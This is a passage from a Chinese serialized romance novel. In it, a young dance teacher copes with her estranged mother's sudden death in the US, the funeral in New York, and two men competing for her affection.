姚馨雅变幻了模样,丢下温柔知性的皮囊,露出少有的戾气。 这模样便是卓繁星也不多见,即便她厌恶她,可至多是无视,只要她不出现在她眼前,碍她的眼,她便不必如此。如今,不知是什么缘由。 卓繁星的心神有一瞬间的晃荡,催化出一种自厌的情绪。她低下头不去看她。“你到底有什么事?” “我现在的丈夫不可靠,我要你跟我去美国一起生活。”姚馨雅简短地讲完,拿过烟灰缸点了点烟头。 “你要我给你养老?”卓繁星十分诧异。对于她来说这可真是一件太“光荣”的事,她以为这件事绝轮不到她。 “差不多吧。我这些年虽没教过你,但养你的钱可是一分不落。在这上面,我没有亏欠过。” 卓繁星说:“我可以给你打钱。” “你的钱?”她轻蔑地嗤了一声。“你能有多少钱。你以为是你爸那种人?要靠着女儿过活”姚馨雅顿了顿,冷淡的眸子移开。 “你是不是出什么事了?”卓繁星突然想到了这种可能。“生病了吗?” 她着急起来,两只圆圆的眼睛头一次充满感情地望着她,令姚馨雅没有那么讨厌了,这双像极了前夫的眼睛。 “没有。”她的语气也软下来。 “那就好。”我可再没有一个肾了。卓繁星暗暗补充。“我真的有工作。” “灿灿,我希望你答应我。” “我不想去美国。” “你可以和你爸生活这些年,我就提这一个要求都不行吗?” 卓繁星被她的示弱弄得有些慌张,即便知道她绝不是因为她,仍令她的语气缓转下来。“我在这里有稳定的工作,还有朋友,我很喜欢,不想改变。” “你必须去!” 她强硬起来,瞪着她,哪有方才的样子,没有一丝温情,这才是她平常的样子。不过还是不同,她平常向来视她如无物,如今却富有情感,即便是愤怒。 卓繁星起身就走,她如今可不是当年那个孩子,她对她是什么样的感情又有什么重要呢。 “我会给你打钱的,和爸一样。”她丢下这句,甚至有些雀跃。看,谁都挑不出她的错来。 “那点钱不够。” “灿灿。”卓繁星在转头的时候,听见她颤抖的声音。 姚馨雅此刻身上所有的光鲜亮丽似乎都褪去了踪影,垂下来的发丝不再是随性自然,而是凌乱毛躁。眼妆周围的粉卡在细纹里,呈现出皲裂的质感。那只手也是枯瘦的,如同地下的树根一样。 “灿灿。迪克的投资失败了,我们马上就要面临违约。这是很大一笔钱,我承受不起,我所有的心血都在里面”话至此处,她向后捋了一把头发,眼睛里的光芒闪烁,摇摇欲坠。“蒋凌洲能帮我们。” “我不懂。” “你当然懂!”她站起来,握住她的肩膀。“他喜欢你!非常喜欢你!” “我不知道你在说什么。” “是你不知道他的能力,他能带给你什么?你难道想一辈子当个舞蹈老师吗?就这样教人跳舞,以后嫁给一个普普通通的男人,生孩子,养他,还要养一个身体不好的爸爸。你就想要过这样的人生吗?” 卓繁星的手臂被掐的疼痛,即便穿着外套,她感觉她细长的指甲已经要嵌进她的肉里。 “你欠了多少钱?”卓繁星听见自己的声音,竟然还十分冷静。 “几千万?美金。不,我们所有的钱都在里面。所以光是这些还不够。”她看着她,眼神飘移,鼻子吸了几下,呼吸越来越急促。 卓繁星就看见她哽咽着去翻那只放在旁边的爱马仕,然后拿出一瓶橙黄色的药。 “我最近睡眠不太好,会头痛。”她咽下去药片,拿咖啡灌。手扇着风,脖子脸上浮了一层汗。 “我不能失去以前的生活。”她好像恢复了一点清醒,对卓繁星郑重地讲。 “你可以回来,和你老公离婚,回京市。” “你开什么玩笑?” “舅妈他们知道这件事吗?” “知道又怎么样?他们帮不了我。” “你还没问过,怎么就知道,万一他们有办法呢。”卓繁星拿出手机。“我现在给舅妈打电话。” 手机被抢走,姚馨雅插着腰,扯掉丝巾,遏制着怒火。“灿灿。我只需要你和我一道回美国。这是对我们都好的打算。” 天色暗下来,天空像要拉上一层灰色的幕布,远处的夕阳竭尽全力地发出最后一点光。凉意袭来。失去了太阳,温度便已迅疾的速度在消失。 “呦,还有人。”保安进来。“卓老师,还没走呢?” “就走。不好意思。” 卓繁星背上包,一路浑浑噩噩地到了家里。 京市,姚国平接到卓繁星电话的时候,正在单位回家的路上。他停下电瓶车,从前面的提篮里摸出手机,眨了好几下眼睛。 “喂?灿灿?”真是稀奇,他岔着两条腿,夹眯着眼。 那头生涩地喊了一声舅舅。 “哎,怎么说?是不是灵均的事。这事儿你不给我打电话,我还想让你舅妈给你打一个。灵均呐,犟得很,不听话。她那房子还没弄好,你看下个月就结婚了。” “胡昊天家里小,她肯定住不惯。咱家里能住,可难看呀。嘴上不说,大老爷们儿住媳妇儿娘家。租房子也不好。” “我和你舅妈两人凑凑,再问你秦奶奶那儿借点儿,干脆付全款,省的以后扯不清,这房子就是给灵均的。秦奶奶那儿都说好了,你说她又闹起来,说什么都不肯。你回头跟她通通电话,我们说不通。” “什么?你问借了多少钱?” 卓繁星干张着嘴,听那边讲。“百来万吧。” “妈来找我了。” 那头一下没了声音,过了会儿试探着开口:“你妈是不是出什么事儿了?” “她说她老公投资失败了,欠了很多钱。” “怪不得呐。”姚国平讷讷地应了一句。“先前你舅妈让我问她借钱,她说过两天,后来就没消息了。她还生气。这不才张口和蒋家借的嘛。” 一问金额,他又是半天不吱声。 “我回头给她打个电话。你别担心。再怎么样,大不了离婚回国,家里又不是住不下。” 卓繁星不知道他们通话如何,姚馨雅没有消息传来,舅舅也没消息。她在第二天去过酒店,可酒店说她在上午就已退房离开。 卓繁星离姚馨雅太远了,对于她的生活一无所知。要是自己真有几百万的身家,全拿出去给她还债就是,就和当初她把肾给卓强一样。 徐凤的电话在一个清晨打来,卓繁星听她讲:“我已经叫你妈妈回来了。她全是叫那个鬼佬给害了。如今人也被抓进去了。临到老了,还要出这种事。所以我说,什么投资都是有风险的,不如老老实实上班。” 她喃喃骂了数句,不晓得她有没有在听。 “灿灿。” 卓繁星一激灵,原来是昨天窗没关,如今风吹进来,她又刚从床上爬起来,外套也没穿。 “好了,你别担心。等她那边事情处理好,回国就好了。” 卓繁星点点头,又问了两句灵均的事。 她寥寥数语,结束了说:“你同灵均通个电话,钱都借来了,房子是一定要买的。” 卓繁星抱着手臂坐在床上,有一瞬间想要不要同姚馨雅去个电话。 她已经打算好了,之后会定期给她生活费的。那给多少好?和卓强一样2000块?好像少了点。毕竟她正儿八经花了不少钱在她身上。 真是一笔要算算的帐。 她不免轻松起来,望着撩起的窗帘,都觉得可爱。 三月还有件重要的事,那就是翁乐仪的生日。 卓繁星点进那个繁星头像的图片,通话简短,这两天因为这些事,自己有些心不在焉。 她敲了一个兔子亲亲过去,借机骗来他的公寓地址。 到了生日那天,卓繁星早早调好时间飞去津市,预备给他一个惊喜,可糟糕的天气让飞机延误了。 跑道上亮起了灯,地勤披着雨披,穿梭在巨大的飞机下面。周遭的人群或多或少有些焦躁,他们频繁地询问出发时间,还要多久。 卓繁星安静地看着,阴沉沉的天也没有影响她的好心情。 翁乐仪还不知道。他或许连自己的生日都忘了。 在又一次广播后,人群终于开始动起来,自发地排成队——终于要出发了。 卓繁星提起自己的背包,手机响了。 “卓小姐吗?我是您母亲姚馨雅的律师。她在昨天美东时间凌晨3点左右,在家中意外离世。” 第65章 ◎不甘(一)◎ 卓繁星走出机场,外面的雨淅淅沥沥,零散的车辆像是整个空间中的小小蚂蚁,搬运着人,到了这个叫机场的目的地便放下来,好去奔赴下一个。 卓繁星被碰到,像是个没重量的人,眼见着往一边倒,幸好不至于真是如此。推着行李车的人急忙和她道歉。“不好意思。不好意思。” “哎?小姐?” 卓繁星迟钝的眼珠看向他,没有什么表情,痩白的脸,偶尔颤动的睫毛,叫人觉得奇怪。走出老远了,还忍不住回头看——她还站在那儿,跟傻了似的。 卓繁星看着来往的车流,终于意识到自己走错了出口。打车的位置在地下,她怎么也不该出现在这里。 方才她还质疑那位律师的身份。不是很多吗,这样类似的诈骗案。直到对方,略带遗憾的声音清晰地传过来。“您母亲曾咨询过我安排您出国的事项。你知道的,她近来遇到些不好的事我联络不上她,所以才会上门寻找。目前来看,尽管法医的报告还没出具,可应该是饮酒过量导致的溺亡。” “我知道这实在是太过突然。非常抱歉,带来这样不好的消息。” “我需要加一下您的联系方式,我把我的邮箱发给您。您需要尽快过来一趟,许多事项需要您处理。她在这里没有其他亲人,她丈夫已经入狱。” “其他人知道吗?” “其他?”他稍愣了愣。“你是说她在国内的其他亲人?” “对,我的舅舅舅妈,还有姥姥姥爷,他们都在京市。” “您可以转达一下。如果他们要陪同您一起来,相关的手续我可以一并办理。” 卓繁星终于坐上了车。 窗外的景黑蒙蒙的,雨水反射着路灯的光,车辆在上了高架后汇成红色的潮水,它们闪着光,无端就给人一种紧张的感觉。 这时一辆救护车经过,滴呜滴呜的声音,从很远的地方就开始,直到经过时骤然放大。卓繁星感觉自己的耳膜震动,眼睛不由之主地就盯着它闪烁的红蓝色光,心脏一并跳的快起来,随之而来就是一阵强烈的恶心。 好在它很快褪去,脑中只剩下一片空白。 卓繁星下车后,只想赶紧回家去躺下来。 她有种不真实感。 雨天、机场、她原本想做什么,好像忘记了一件事。脑子好像一只生锈的齿轮,运转的十分吃力。 进了家,小八绕在脚边。她蹲下去摸了摸它,习惯性去拿罐头。 对,她出门前刚喂过。 她又回转,坐到沙发上。 卓繁星醒来的时候,屋外的天黑沉沉,她却以为已经是白天了。阴天不就是这样,然而翻出手机,才知道是夜里两点多钟。 期间翁乐仪给她打过一通电话,9点多的时候,那个时候她睡着了,没听见。明天再回给他吧,她这样想。 卓繁星等到早上7点给舅妈去了电话。 她的户口尚未迁出,她需要用它来证明和姚馨雅的母女关系。 她顾及不到徐凤听到时震惊惊慌的样子,平静而清晰地将自己需要的文件告诉她,并询问她是否要一同去。 她在哭声中咒骂着姚馨雅的丈夫,随后想起来这才是最紧要的事。“我会和你舅舅商量的。灿灿,你别太伤心。”末了,她补充道。 卓繁星说:“好的。” 灵均的电话随后而至,声音里带着哽咽。 “怎么会发生这种事。” 卓繁星说:“是意外。”她想到那天见到姚馨雅的样子,或许早有预兆。 “我没想到,灿灿,我不知道姑姑出了这么大事。我妈他们才和我讲。对不起。” 卓繁星说:“我也是才知道。不怪你啊。” 过来片刻,姚灵均颤颤巍巍的声音传过来。“她会是自杀吗?” 卓繁星顿了下。“不确定。律师说她喝了很多酒,这样的事很常见。” 又是一阵沉闷,卓繁星听见那端抽泣的声音。 姚灵均粗着呼吸开口:“姥姥姥爷年纪大了,我妈说先不和他们讲。我和你一起去,等事情差不多结束了,再和他们说。” “好。”卓繁星安静地挂了电话。 这之后便是正常的工作。她需要请大约一周左右的假,幸好她还有个缓冲时间给何安琪。 她听后说:“要不要现在就休假,你不用急着上班的,先把这件事处理好,还有心情方面这种事都能理解的。” 卓繁星拒绝了,因为她并没有真的到了伤心到这种地步的样子。她只是在时不时接到律师发来的信息的时候,怔忪一下——姚馨雅真的去世了。 还有她每次进浴室的时候,都会忍不住盯着那只浴缸。 津市,翁乐仪接到蒋濯衣的电话的时候,难以置信。毕竟与灿灿的通话,她都极为正常。 蒋濯衣的声音还在耳畔:“你需要问一问她,乐仪,这对她肯定打击很大。” 夜里的通话,寻常的开场白,卓繁星甚至说起她今日给小八去打了疫苗。 “我听说你妈妈的事了。” 卓繁星一下噤声。 明显的停顿后,翁乐仪才听见她开口。“是,对,是意外。” “我明天就回来,你准备好材料了吗?没关系,你可以交给我,我来安排。” “我明天就去美国了。” “什么?” “明天下午的飞机。” 卓繁星仿佛看见他皱眉的样子。沉默蔓延开来,像是一场死刑前的宣判。 终于她听见他的声音。“都安排好了?” “对,灵均会和我一起去。你不用担心。” “好。” 电话挂断。卓繁星有些奇怪地看了一眼手机。她拿出邵丽丽的香烟,走到阳台边打开窗。 邵丽丽回来的时候,正看见她倚着窗,扭头望过来。干净的脸上挂了一抹极淡的笑,被烟一吹就散。 “你回来了?”她举着烟,另一只手托着手肘,声音姿态说不出的风情,有种强烈的反差感。 若是平时,邵丽丽或许会调侃两句,只是今天太过反常。她放下包过去,走到她身边,默默点了一只。 “我的猫需要你帮我照看一下。潘潘最近不太方便。” “噢。我看见了。”邵丽丽瞟了一眼沙发上睡着的小八。 “你记得把卫生间和厨房的门关上。”卓繁星叮嘱她。 “你是要去哪儿?” “美国。我妈意外去世了。” 邵丽丽在听见前面两个字的时候已经很讶异,只是还没来得及出口,又被后面的字打的措手不及。 “繁星。”她有些小心的开口。 卓繁星说:“没什么,只是她在外面没有亲人,所以需要我过去一趟。” “你一个人?” “不是,和我表妹一起。” 邵丽丽稍稍放心,安静地抽了一会儿烟,说:“我现在都不知道我妈是死还是活。”见卓繁星睨她,笑了一声,无所谓道:“她跑了呀。” “你很难受吗?”她问。 卓繁星认真想了想,摇头。“不知道,可能还是懵多一些想着快点结束吧。” 她说完望着窗外,眼珠里有一种异样的冷漠。 次日,卓繁星飞往纽约。她从沪市出发,灵均从京市起飞。即便有姚馨雅的律师在,可鉴于当地的行政效率,有些事项势必没有那么快。 卓繁星在机场见到了这位一直联络的律师,中等个子,有些秃头,年纪同姚国平差不多大。 他在车上同她们沟通起来,双方都较为平静。姚灵均也只是在提起遗体如今存放在何处时,有些失控,看向窗外。 “你们这次来,恐怕带不回去,美国这边的流程会比较慢。” 舅舅的意思是要将姚馨雅的骨灰带回去,这也是给两个老人一个交代。难道要叫她葬在异国,以后连个祭拜的人都没有。 “其实,姚女士名下还有一间画室。”韩律师将相关的文件拿出来,卓繁星英文不太好,姚灵均便接过来。 “不是说财产都被没收了?这上面也不是她。”姚灵均看着那个名字,诧异地看向他。 韩律师颔首。“蒋先生是这间画室的幕后投资人,只是一部分持股,姚女士出事后,他便干脆买了下来。” “那和我们有什么关系?” “蒋先生的意思是这间画室实际还是归姚女士所有,他只是帮忙。”他看向旁边一言不发的姑娘。“或许,您母亲同你提过。” 卓繁星想到那天姚馨雅的话,她说自己有一间画室。阳光下,妆容精致的女人好像抓住了最后一丝希望。 “我不清楚她的事。” 韩律师表示理解。“总之,这间画室您可以当做她的遗产来处置。” 她们被带去认领遗体,姚灵均几乎哭死过去。她其实已经接受姑姑的死去,只是当看到她闭着眼睛,青白着脸躺着的样子,巨大的悲伤便立刻袭来。 明明上次通话还在聊她婚礼的事,说一定会提前回来。 签字的时候,工作人员甚至以为她才是逝者的女儿,以至于卓繁星接过笔的时候,都十分吃惊。 毕竟这女孩儿异常的平静。 她脸上当然不至于有那种欢快的样子,那也太过离谱,只是与伤心,失去母亲的那种心情,还是相距甚远。 陌生的街道,陌生的空气,还有陌生的声音。无论是耳边的交谈声,还是街上车来车往的声音,都透着一股疏离感。 卓繁星不自在地叹了口气,想要回国的心很迫切。 “你有和翁乐仪讲过吗?”下榻酒店的时候,姚灵均擤着鼻涕问她。她刚刚挂断给胡昊天的电话。 “没有。”卓繁星这样回。她蹲在地上整理行李箱。 姚灵均奇怪地哎了一声。 “他知道的。”卓繁星愣了一下回道。 “噢。我就说,你总要告诉他的。还是在国外。” 卓繁星拿东西的手停顿下来。她的眉毛又皱起来,嘴角下撇,有种说不出的不舒服。 “我想回去了。” “我也不习惯。”姚灵均说。她看了一眼她,有些小心地开口:“灿灿,你伤心吗?” 卓繁星望过去,她就说:“我没有什么意思,就是,问一问。”好吧,事实上她就是感觉她没什么伤心,解释也没用。 “有点吧。”卓繁星给了她一个这样的回答。 “是吧,总归还是会难过的。”姚灵均很快接受了这个答案。 夜里,时差加上陌生的地方,让两个人都没有睡好觉。卓繁星听见姚灵均翻了好几个身,然后小声地,试探性地喊她。 卓繁星背对她,没有理她。 姚馨雅自成了美国公民后,便跟随丈夫信教,葬礼便安排在当地一间小小的教堂,一应事宜全由韩律师来办。 尤其当天来了不少人。卓繁星同姚灵均穿着丧服,接受了不少慰问。蒋凌洲也在其中。考虑到那间画室,他来也是很寻常的事。这些都是韩律师的功劳。毕竟无论是卓繁星还是姚灵均,都不知姚馨雅有何好友。若无他,她便连最后一丝体面也享受不到。 卓繁星私下问姚灵均:“这些事项要不要付费?” 姚灵均被她问的一愣,随即道:“这些应当算在姑姑的遗产里。” “她哪里还有遗产?” “画室。他不是说了,那间画室是给你的。” 卓繁星说:“那是蒋凌洲的。” “他只是帮个忙而已。干嘛?你不乐意?别犯傻。那本来就是他们操作好的。” 卓繁星抿了抿唇。“只要有钱付给韩律师就好。” 翁乐仪仍是坐上了飞往美国的飞机。 他先前是有些生气,可他随即就不忍心,人在遇到大事的时候就是会显出不同的性格。或许卓繁星就是这样,他先前不是领教过。 这时的她就像个犟驴,蒙着眼睛,只管自己的情绪。 无论如何,他要陪着她。 翁乐仪赶到时,葬礼已经结束,教堂空空,车子载着棺椁去往殡仪馆。 连日来的奔波让卓繁星身子发软,下车的时候差点摔下去。 姚灵均让她坐着休息,她同韩律师过去。 卓繁星在外面的时候就闻到一点烤肉的味道,这栋白色的建筑看起来一点也不像火葬场。 她靠着墙壁,眼睛被头顶的灯光晃得酸涩,身体变轻,与之相反的是眼皮越来越重,人也混沌起来。 她感觉到自己似乎倾倒在一个柔软的身体上。 不知道,总之没有感觉了。 蒋凌洲试探着撩开她的发丝。入口处的铁门被推开,发出一声闷响。他转过头,看见一个人走了进来。 黑色的皮鞋带着水汽,翁乐仪的头发有些凌乱,被外面突然下起的雨淋湿。 第66章 ◎不甘(二)◎ “灿灿。”姚灵均拿着一份文件回来,吃惊地张开嘴。 卓繁星听见了,想回应她,可是怎么也睁不开眼睛。 蒋凌洲感觉到身边的人发出一声低弱的声音,蹙着眉,像一只要摔下去的纸鸢,没有重量。 “她发烧了。”他将她抱起。 韩律师错愕地看着他们。“这里我来处理,先带她去看医生。” 姚灵均急匆匆地跟上去,只有在某个瞬间想起了翁乐仪。她在门口的时候转过头,他已然跟了过来,拐杖撑在地上,她瞟了一眼,有些古怪似的不敢再看。 蒋凌洲的公寓内,请来的医生为卓繁星打了针剂。 “她很久没休息好了。让她睡一会儿。” 蒋凌洲对姚灵均说:“你们住的酒店在哪里?我让司机送你过去,把行李拿过来。” “不用了,等灿灿醒了,我们要回去的。” “她现在的情况,最好有医生在。你知道这里不像国内那么方便。” 姚灵均当然知道他说的是对的,可她也知道这人贼心不死。她看了一眼翁乐仪,他就坐在靠窗的椅子上,十分平静。 姚灵均去了酒店,下午三点再返回。 期间卓繁星睡得很平静,除开她苍白的脸色,不会让人觉得有任何的异样。她只是轻轻地呼吸着,有一种不存在的感觉。 屋里很安静,只是太过安静,外面的雨声便格外清晰。雨点时不时打在叶片上,啪嗒,总要间隔一秒,让人有种奇怪地揪心,生怕后面的声音不会来,而在心里默默地数。 翁乐仪躬着身子坐着,两只手交叉,手肘撑在腿上,偶尔在那声雨出现偏差时,望一眼窗外。 蒋凌洲推开门,说:“乐仪,吃点东西。” 听见他的声音,翁乐仪稍稍侧过来,拇指抵着下唇,开口道:“凌洲,如果她喜欢的是你,我不会这样,和你争抢。” “什么?” “我们是兄弟。” “对。” “我觉得这样很尴尬。你不觉得吗?” 蒋凌洲说:“如果她喜欢我,你会放弃?” 他将这句话丢回给他,显然不信。翁乐仪看向他,眼睛里有种认真的凝视。“我曾经就是这样做的。我放弃过一次。” “哪次?”蒋凌洲突然想起了什么,眉梢跳了一下,眼中的戏谑消失。 “那怎么办?我和你是不一样的。乐仪,我不会选择放手。或者说成全。” 卓繁星醒过来的时候已经是晚上,她撑着床爬起来,陌生的环境,没有酒店里那股说不出来的奇怪味道,灵均跟他们反应了,也没有任何改善。 她在浴室墙壁上看见了一只壁虎,趴在那只看起来很浮夸的罗马柱子上。卓繁星在躺下后就想,它会不会掉下来,然后正好落在她的脑袋上。 窸窸窣窣的声音是它发出来的,它爬过了剥脱的墙体,然后掉下来,砸在浴缸里。浴缸里盛满水,一个裸体的女人安静地躺在里面。它伏在她胸口上,一串奇怪的泡泡,像是石头落水的波纹,从底部向上浮起。 卓繁星走近去看,那个女人瞬间睁开了眼睛。 这几天,她总是会被这样莫名其妙的梦惊醒。 “灿灿。”灵均的声音在耳边。卓繁星下意识地看过去,随后又去看面前的人——一个绝对不该在这里出现的人。 “要喝水吗?感觉怎么样?”他摸着她的头发,清润的眼睛,一如既往的样子。 卓繁星顺着那只抚摸她头发的手,看见一只腕表,金属表带,银色的,扣在他的腕上。 “怎么来了?”她终于听见自己的声音,带着浓重的鼻音,含糊不清。 她感觉那只腕表越来越模糊,上面的钢材像是会反光,一下子叫她什么都看不清楚。 呼吸声越来越急促,胸口的起伏也像个病人。 “灿灿。”他又用那种柔和的声音喊她。 像是催化剂。卓繁星不知道自己的样子。她试图说一些什么话,喊他的名字?或者就像刚刚那样,询问他为什么突然来了。 只是这些话都成不了句子。它们被拥挤的呼吸给撞的支离破碎,堵在喉咙里,像泡发的东西,每次先开口一个翁字,后来急匆匆就变成了怎么,怎么来了。 几次下来,卓繁星自己都觉得懊恼。 让她说呀,为什么话也不会说了。急的到后来,只剩前后紧跟的哭咽声。 卓繁星被他抱在怀里,翁乐仪抚着她的头发,一下又一下。 她终于不再试图说话了,而是抓住他的肩膀,闷闷的哭声全落到他的线衫里。 姚灵均默默带上门。客厅里,蒋凌洲问她要不要喝酒。 落地窗外是繁华的夜景,姚灵均喝了小半杯后,问道:“你的女朋友呢?”她突然想起来,那位林小姐,好像今天在葬礼上也没有见到。 “分了。” 姚灵均看了他一眼,默默评价道:“渣男。” “姑姑的画室怎么会和你有关系?” “律师怎么说的?”蒋凌洲不紧不慢地开口。 “他说是你和姑姑商量好的,为她保留一些产业。” “是这样。” 姚灵均搁下酒杯。“你说实话!是不是你联系的姑姑?” “如果你有看过文件,就应该知道很早之前我就是幕后投资人。” 姚灵均一时被他绕进去,犹疑道:“那你为什么要投资?” “我投资的可多着呢,你家同我家又不是陌生人。”蒋凌洲缓缓倒酒。“你不需要这么防备,我只是帮忙。” “真是就好。毕竟灿灿可不想同你有什么关系。” 姚灵均去拿酒,被他挪开。 “为什么?” “什么为什么?”姚灵均看着他冷下来的眼睛,无语道:“她喜欢的是翁乐仪。当然不想和你有关系了。刘清华呢?他眼睛没事儿吧。”她突然想到,这个人还不知道瞎没瞎。 “就在这儿,明天我带你去看他。” “我看他干什么。他没事就好。你别再折腾了,你把刘清华打成那样,俞阿姨,秦奶奶他们怎么看?他们可舍不得怪你这个宝贝儿子,只会怨灿灿。” 蒋凌洲头一次没犟,眼睛瞅着她,三两下又挪开,靠着岛台,点了只烟。 “你别折腾了。灿灿不喜欢你。我实话跟你讲吧,她读书时候喜欢的人就是翁乐仪。” “读书时候?”他吐出一口烟雾。 姚灵均说:“对啊,高中的时候。” “高中时候” 姚灵均截断他的话。“是,她高中的时候和你在一起了。可是那是个误会。她,怎么说呢,就是” 姚灵均竭尽脑汁地想把话讲的委婉点,可是又要清楚地传达过去,好断了他的念想。她说的口干舌燥,以期让他真的听进去,到后来又带了点平时上课说教的习惯。总之,分外的啰嗦。 真是为难死她了。她最后总结道:“就是这样,她没喜欢过你。” 蒋凌洲提了下唇角,谑道:“我知道啊。” 姚灵均喝了一口酒,捂着嘴巴,抬头惊道:“你知道!” 蒋凌洲瞥一眼她,不介意让她更惊讶一点。“比乐仪还早。” “kao!”姚灵均憋了半晌,憋出这么一句。“你瞪我干啥?你还好意思瞪我?你怎么好理直气壮的。你是不是做了什么?”她最后预感到了一些。 “怪不得灿灿不喜欢你。” 这句话成功收获一枚眼刀。 姚灵均说:“总之现在他们两个有情人终成眷属了,您老就别横插一脚了。” 蒋凌洲说:“那我的喜欢怎么办?” “你的喜欢?你喜欢灿灿,灿灿就一定要和你在一起?你是不是在美国呆久了,脑子被洗坏了。” “她为什么不喜欢我?我记得你以前貌似很喜欢我。” 姚灵均有种要被气到吐血的感觉。“你赢了,大哥,我宣布你赢了。”为了多活几年,她决定还是远离这个深井冰为好。 “我很认真的在问你。”蒋凌洲转过身,将烟头按灭。“为什么?为什么你那个时候会喜欢我,而她喜欢乐仪。” 姚灵均古怪地扫了他一眼——眼前的男人穿了一条黑色高领毛衣,十分简单,可谁也不能说他不好看,反而很高级。 毛衣尤其挑人,身材稍有不好,便会裹在身上,突出每一寸缺点。还有高领,脖子稍短一些,就是灾难。可这个人显然是个例外。 更别提他还有一张俊朗的脸。 即便姚灵均现在对他很多吐槽,却不得不承认他是个很有魅力的男人。 她想起多年前第一次见他时的样子,好像也是这样,他看人的时候,不自觉就让人觉得比他矮一分。 有一种天然的上位者气息,或者说优越感。 这是一种很迷惑人的东西,尤其对小女孩儿来说。她们天真,不谙世事,又格外地喜欢幻想。 蒋凌洲这种人真是天生为了满足她们幻想而存在的。 所以姚灵均在回头审视这段暗恋的时候,不得不总结,喜欢上他很正常啊。谁会不喜欢这种需要仰视的人,而幻想无非是一种慕强,。 可灿灿不会。 因为她受够了这种被蔑视的滋味。她可以接受忽视,毕竟她从小就是个爹不要娘不要的孩子,舅舅舅妈也终究不会将她放在第一位,至于姥姥姥爷,那更是无从提起。 她不需要再多一个人来轻视她。 “你从来没有尊重过她。放下那些猎奇的想象,还有纡尊降贵的心态,真的平等地对待她。或许对你来说理解起来有些困难吧。” 姚灵均无奈地摊手,她感觉对于他的童年滤镜已经快要碎成渣渣都不止了。他以前语文成绩多少来着?怎么看起来像个智障,她这样想。 第67章 ◎不甘(三)◎ 卓繁星其实并没有哭很久,只是像一个突然开闸的泄洪口,一下子将眼泪都流干了。 到了最后,她就是趴在那块潮湿的地方。“湿了。”她喃喃道,蜇的她脸都疼。 “你怎么来了?”她终于能说清楚话。然而对于翁乐仪回答了什么根本没听进去,敷衍地噢了一声,然后继续耿耿于怀。“湿了。” 卓繁星这个时候好像不知道为什么会哭,其实哭的理由也全不重要。就像她现在做的,她只关心被她弄湿的毛衣。 “没关系。”翁乐仪摸了摸她的脑袋。 视线里,她湿软的睫毛耷拉下来,随着他的动作颤了颤,很快又沁出透明的液体。 卓繁星似乎在找一个理由哭,越简单越好。翁乐仪突然为自己能明白她这一点隐瞒而感到放心,可随之而来的就是越来越多的心疼。她太习惯隐藏自己的情绪,她可以为一件毛衣哭,却不能为那个真正的原因。 她自己并不乐见。 翁乐仪想,他不能戳穿她。就像一只蜷缩的穿山甲,如果直白地去探究原因,无异于拿火去烤。她只会这样笨的方式。 姚灵均听见动静过来的时候,他们正在卫生间。翁乐仪靠着洗手台,卓繁星捏着一张洗脸巾给他擦着衣服——皱着眉的样子格外认真。 “灿灿。”她走近点。卓繁星两只眼皮子红而薄。“你好点没?肚子饿不饿?” 翁乐仪说:“温度正常,我刚刚给她量过。” 蒋凌洲在后面进来,房间里一下变得拥挤。 “灿灿,我给你煮碗面吧。蒋凌洲,你这儿的电器我用不来,你教教我。还有,你冰箱里有什么菜没?有面吗?意大利面?!”姚灵均扭头推着他出去。 卓繁星吃了一顿清淡的意大利面,加一个流心荷包蛋。 姚灵均无奈叹气。“实在是他家里的冰箱太过贫瘠,看起来这么大的地方,里面竟然什么都没有,只有罐头,喏。”她点了点盛在盘子里的午餐肉。“噢,他这里的蔬菜都不过夜的,保姆都要处理掉。真是瞎讲究。” “我晚上睡哪里?”吃的解决完了,姚灵均问。如果翁乐仪想陪着灿灿,那她也可以自己睡一间。她是很乐意这样做的,相信蒋凌洲不至于连一间卧房都不肯给她。她方才看过了,这里足足有三百多平。全是他一个人的。想到自己买房子的窘境,真是人比人气死人。 翁乐仪说:“你们一个房间吧。我睡另一间。” 姚灵均稍显诧异,不过立即为他的从容感到欣慰,看看,这便是正主的从容,瞧瞧蒋凌洲,一副小三做派。 相比于翁乐仪的淡定,卓繁星则显得迟疑。 她往他那儿看一眼,又一眼,翁乐仪说去洗澡,她点了点头,眼睛送着他出去。 翁乐仪进了房间,几乎是倒在那张单人沙发上。 “乐仪。”蒋凌洲是来送衣服了,见了他的状况,蹙眉道:“我去叫医生来一趟。” 翁乐仪拦住他。“不用,很正常。戴的时间久了就会这样。给我拿点止痛药就好。”他将假肢卸下来。 “戴了多久?”蒋凌洲将药箱拿过来。他已经打过电话,最好检查一下他那条腿的状况。他把止痛药拿出来,还有一些利卡多因贴片。 翁乐仪吞下药,含糊道:“从上飞机到现在。” “那你真的很厉害了。”蒋凌洲似嘲非嘲地丢下一句,随即起身去卫生间搓了一块温热的毛巾。 西裤被撩起来,露出发红发肿的残肢,还有一些隐隐的气味。包裹处的皮肤发皱,显出不正常的蜷缩。 蒋凌洲不忍再看,转去看他的脸。 “擦完了没?擦完了擦腿。” 翁乐仪无语,笑了。“能不能做个人。” “这东西你最好明天别带了,我给你找个医生来按摩一下。” 蒋凌洲不是没见过,那个时候翁乐仪做完手术,他们都去看过。陈跃、李敬几个,还有刘清华,他们从小一起长大,还能开开他的玩笑。 比如那条假腿,以后踢球可不敢随便铲他。 处理完,翁乐仪捋了一把微湿的头发,疲倦地叹了口气。 “清子还好吗?” 蒋凌洲说:“在治疗。你要去看他吗?” “看时间。不一定来得及。” 蒋凌洲知道,他肯定要和卓繁星一起回去。安静了一会儿,他拿起那只假肢观摩,不甚在意地开口。“那天你在,你不打?”他抬头,触到翁乐仪的视线,会心一笑。“你也要打。咱们两个组合双打。” 他拿起假肢挥舞了一下。翁乐仪无奈抚脸。 “咱们两个又不是没干过。” “还好没出事,残疾的滋味可不好受。” 蒋凌洲收了些笑。“你关心关心自己吧。” 门小声地被打开,卓繁星探出小半个脑袋,立即被他们锁定。她有些惊愕地睁大眼睛,却没像从前一样立刻遁走。 “灿灿。”翁乐仪把烟按灭,以为她有什么事。 卓繁星没有说,披着针织衫的身子很单薄,短短几天,就将她折磨的掉了好几斤肉。 她抿了抿唇,觉得翁乐仪不应该扔下她,还有蒋凌洲,他为什么还不走。鼻子闻到烟味,她一下拧起眉,干燥的喉咙似乎被烟燎过,瞬间咳嗽起来。 蒋凌洲慌不择路地拿下烟头,扔到烟灰缸里,然后立刻一杯水浇上去。 “要开窗吗?”他说的时候已经走到窗户边。 卓繁星终于开口了。“你们在聊什么?” 